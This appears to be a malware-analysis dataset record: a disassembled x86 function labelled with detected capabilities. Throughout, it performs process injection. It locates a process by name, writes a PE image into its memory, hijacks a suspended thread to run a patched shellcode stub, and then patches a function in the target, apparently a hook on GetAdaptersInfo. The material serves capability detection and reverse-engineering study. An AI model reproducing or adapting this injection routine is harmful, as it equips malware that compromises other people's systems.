Function at 0xd563e0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Parse pe header
Resolve function by parsing pe exports
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
mov eax, dword [0xd5f010]
xor eax, esp
mov dword [esp + 0x460], eax
push ebx
mov ebx, dword [sym.imp.kernel32.dll_Process32Next]
push esi
xor esi, esi
mov dword [esp + 0xc], ecx
push edi
mov dword [esp + 0x3c], 0x1c
mov dword [esp + 0x198], 0x10007
mov dword [esp + 0x1c], esi
push 0
push 2
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x70], 0x128
lea eax, [esp + 0x70]
push eax
push edi
call dword [sym.imp.kernel32.dll_Process32First]
test eax, eax
je 0xd5649c
nop dword [eax]
nop dword [eax + eax]
mov eax, 0xd5adc8
lea ecx, [esp + 0x94]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0xd56480
test dl, dl
je 0xd5647c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0xd56480
add ecx, 2
add eax, 2
test dl, dl
jne 0xd56460
xor eax, eax
jmp 0xd56485
sbb eax, eax
or eax, 1
test eax, eax
lea eax, [esp + 0x70]
push eax
cmove esi, dword [esp + 0x7c]
push edi
call ebx
test eax, eax
jne 0xd56450
mov dword [esp + 0x1c], esi
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0xd56420
push 1
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [esp + 0x10]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xd56941
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x14], edi
cmp dword [edi], 0x4550
jne 0xd56941
mov eax, 0x2000
test word [edi + 0x16], ax
je 0xd56941
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0x20
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [section._________1]
test eax, eax
je 0xd5655c
lea eax, [esp + 0x58]
push eax
push 0xd5ad88
push 0
call dword [0xd5a008]
test eax, eax
je 0xd5655c
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
push 0
push 0
push 0x10
mov dword [esp + 0x70], eax
lea eax, [esp + 0x6c]
push eax
push 0
push dword [esp + 0x34]
mov dword [esp + 0x78], 1
mov dword [esp + 0x80], ecx
mov dword [esp + 0x84], 2
call dword [0xd5a004]
push esi
push 0
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
mov ebx, eax
mov dword [esp + 0x58], ebx
test ebx, ebx
je 0xd56941
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
push ebx
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov dword [esp + 0x18], eax
test eax, eax
je 0xd5693a
push 0
push dword [edi + 0x54]
push dword [esp + 0x18]
push eax
push ebx
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0xd56928
xor eax, eax
mov dword [esp + 0x20], 0
cmp ax, word [edi + 6]
jae 0xd56607
mov esi, dword [esp + 0x14]
add edi, 0x10c
nop word [eax + eax]
mov eax, dword [edi]
add eax, dword [esp + 0x10]
push 0
push dword [edi - 4]
push eax
mov eax, dword [edi - 8]
add eax, dword [esp + 0x24]
push eax
push ebx
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x20]
lea edi, [edi + 0x28]
movzx eax, word [esi + 6]
inc ecx
mov dword [esp + 0x20], ecx
cmp ecx, eax
jb 0xd565d0
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov dword [esp + 0x20], eax
test eax, eax
je 0xd56928
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov dword [esp + 0x24], edx
push 0xd5add4
mov ecx, dword [eax + 0x3c]
add ecx, edx
mov dword [esp + 0x2c], ecx
mov ecx, dword [edi + 0xa0]
add ecx, edx
mov dword [esp + 0x30], ecx
mov eax, dword [edi + 0x80]
mov edi, dword [sym.imp.kernel32.dll_GetModuleHandleA]
add eax, edx
push 0xd5adbc
mov dword [esp + 0x38], eax
call edi
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push 0xd5ade4
push 0xd5adbc
mov dword [esp + 0x3c], eax
call edi
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov edi, dword [sym.imp.kernel32.dll_WriteProcessMemory]
push 0
push 0x18
mov dword [esp + 0x40], eax
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x2c]
push ebx
call edi
mov eax, dword [esp + 0x20]
push 0
push 0x100
add eax, 0x18
push 0xd562d0
push eax
push ebx
mov dword [esp + 0x30], eax
call edi
push 0
push 4
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [esp + 0x3c]
push eax
push edi
call dword [sym.imp.kernel32.dll_Thread32First]
lea eax, [esp + 0x3c]
push eax
push edi
call dword [sym.imp.kernel32.dll_Thread32Next]
test eax, eax
je 0xd566f8
cmp dword [esp + 0x48], esi
je 0xd566f8
lea eax, [esp + 0x3c]
push eax
push edi
call dword [sym.imp.kernel32.dll_Thread32Next]
test eax, eax
jne 0xd566e2
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0xd5693a
push dword [esp + 0x44]
push 0
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenThread]
mov esi, eax
mov dword [esp + 0x14], esi
test esi, esi
jne 0xd56745
push 0x8000
push eax
push edi
jmp 0xd56933
push 0x1f4
call dword [sym.imp.kernel32.dll_Sleep]
push esi
call dword [sym.imp.kernel32.dll_SuspendThread]
lea eax, [esp + 0x198]
push eax
push esi
call dword [sym.imp.kernel32.dll_GetThreadContext]
push 4
push 0x3000
push 0x10000
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
movups xmm0, xmmword [0xd5f188]
mov esi, dword [esp + 0x20]
mov edx, eax
mov ebx, dword [esp + 0x1c]
movups xmmword [edx], xmm0
movups xmm0, xmmword [0xd5f198]
movups xmmword [edx + 0x10], xmm0
mov cl, byte [0xd5f1a8]
mov byte [edx + 0x20], cl
lea ecx, [edx + 1]
mov al, byte [ecx - 1]
cmp al, 0xb8
jne 0xd567b9
cmp dword [ecx], 0xcccccccc
jne 0xd567e6
mov dword [ecx], ebx
inc ecx
jmp 0xd567a5
cmp al, 0x68
jne 0xd567d1
cmp dword [ecx], 0xcccccccc
jne 0xd567e6
mov eax, dword [esp + 0x250]
mov dword [ecx], eax
inc ecx
jmp 0xd567a5
cmp al, 0xba
jne 0xd567e2
cmp dword [ecx], 0xcccccccc
jne 0xd567e6
mov dword [ecx], esi
inc ecx
jmp 0xd567a5
cmp al, 0xc3
je 0xd567e9
inc ecx
jmp 0xd567a5
mov ebx, dword [esp + 0x58]
push 0
push 0x21
push edx
push edi
push ebx
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
mov esi, dword [esp + 0x14]
test eax, eax
je 0xd568ee
lea eax, [esp + 0x198]
mov dword [esp + 0x250], edi
push eax
push esi
call dword [sym.imp.kernel32.dll_SetThreadContext]
test eax, eax
je 0xd568ee
push esi
call dword [sym.imp.kernel32.dll_ResumeThread]
mov esi, dword [sym.imp.kernel32.dll_Sleep]
push 0x190
call esi
push 0x201
push 0x19
push dword [esp + 0x18]
call sub.vcruntime140.dll_memset
add esp, 0xc
push 0
push 0x160
push 0xd5f028
push dword [esp + 0x24]
push ebx
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
push 0x1770
call esi
push 0xd5ad9c
push 0xd5adb4
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov edi, dword [sym.imp.kernel32.dll_VirtualProtectEx]
mov esi, eax
lea eax, [esp + 0x58]
push eax
push 0x40
push 5
push esi
push ebx
call edi
push 0
push 5
push 0xd6044c
push esi
push ebx
call dword [sym.imp.kernel32.dll_ReadProcessMemory]
push 0
push 5
push esi
push esi
push ebx
call dword [sym.imp.kernel32.dll_WriteProcessMemory]
lea eax, [esp + 0x58]
push eax
mov eax, dword [sym.imp.iphlpapi.dll_GetAdaptersInfo]
push 0x40
push 0xa
sub eax, 5
push eax
push ebx
call edi
push dword [esp + 0x14]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push ebx
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x460]
xor ecx, esp
call fcn.00d56a37
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.kernel32.dll_ResumeThread]
push esi
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push ebx
call esi
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x460]
xor ecx, esp
call fcn.00d56a37
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push dword [esp + 0x20]
push ebx
call dword [sym.imp.kernel32.dll_VirtualFreeEx]
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [esp + 0x46c]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00d56a37
mov esp, ebp
pop ebp
ret